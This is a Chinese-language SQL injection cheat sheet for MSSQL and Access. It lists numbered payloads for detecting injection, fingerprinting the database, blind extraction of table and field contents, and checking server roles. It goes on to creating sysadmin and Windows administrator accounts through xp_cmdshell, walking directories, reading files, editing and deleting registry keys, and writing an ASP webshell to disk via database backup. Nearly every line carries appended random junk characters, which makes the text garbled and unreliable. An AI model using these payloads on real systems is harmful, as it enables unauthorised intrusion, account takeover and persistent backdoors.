1.判断是否有注入;and 1=1 ;and 1=2 ^3:y<{J
2.初步判断是否是mssql ;and user>0 3jG
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3.注入参数是字符'and [查询条件] and ''=' *[MK{m
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Gd08RW
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5.判断数据库系统 *w[\(d'T
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;and (select count(*) from sysobjects)>0 mssql ^& R
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;and (select count(*) from msysobjects)>0 access y?1<7>L5~
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 qauZ-Qoc9
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 /V%]lmxQ
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 AvNU\$B4aG
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9.(1)猜字段的ascii值(access) ;& PK6G
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 KOQ9K
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(2)猜字段的ascii值(mssql) e yLVu.
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 3n=`SLj/a
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10.测试权限结构(mssql) uKBSv*AM
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- v-J9N(y"
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 1`X-
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- z U~o"Jv
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- C;3>q*Am4
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- BIr24N
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- =`l).GnN2`
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;and 1=(select IS_MEMBER('db_owner'));-- h6Vm;{~
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11.添加mssql和系统的帐户 !w[io;
%!>~2=Q2*
;exec master.dbo.sp_addlogin username;-- _Wjd`*
;exec master.dbo.sp_password null,username,password;-- aB(6yBBoxj
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- _IK@K6V1
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;exec master.dbo.xp_cmdshell 'net user username password y@L-qO+{&
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- d/57;6I_
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- N~%F/`Z<+
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- gD\ =
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12.(1)遍历目录 dUTF0U
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;create table dirs(paths varchar(100), id int) cN{-&\
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ZXf^HK
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;and (select top 1 paths from dirs)>0 -cjwa-9
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $=?CW(
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(2)遍历目录 "o*zZ;>^
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- u,d@oF(=
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 r] +V:l3
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 m,~
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ml|[xM8
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 (]Z$mv!
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13.mssql中的存储过程 @+v;B:
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xp_regenumvalues 注册表根键, 子键 s^/<6kwO
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 rsp?N{e
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xp_regread 根键,子键,键值名 QPi]5z?
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;exec xp_regread axl!zu*
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 By
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xp_regwrite 根键,子键, 值名, 值类型, 值 ~$0Qvyb>
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 QOECpk-
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xp_regdeletevalue 根键,子键,值名 `};8
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 L`yyn/2>
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 |]5g+sd
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14.mssql的backup创建webshell x,\PV>
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use model GdqT4a\S
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create table cmd(str image); -ISI!EU$
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insert into cmd(str) values (''); silTL_$
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backup database model to disk='c:\l.asp'; eCYgi7?
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15.mssql内置函数 t@Qs&DZ7k
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;and (select @@version)>0 获得Windows的版本号 Rx$5#K!%M
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa N#')Qz:P
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;and (select user_name())>0 爆当前系统的连接用户 I$4GM
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;and (select db_name())>0 得到当前连接的数据库 C:n55BE9
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16.简洁的webshell (hefpqpi
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use model So*Q8`"-.
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create table cmd(str image); A*BIudli
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insert into cmd(str) values (''); JJ3(0
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backup database model to disk='g:\wwwtest\l.asp';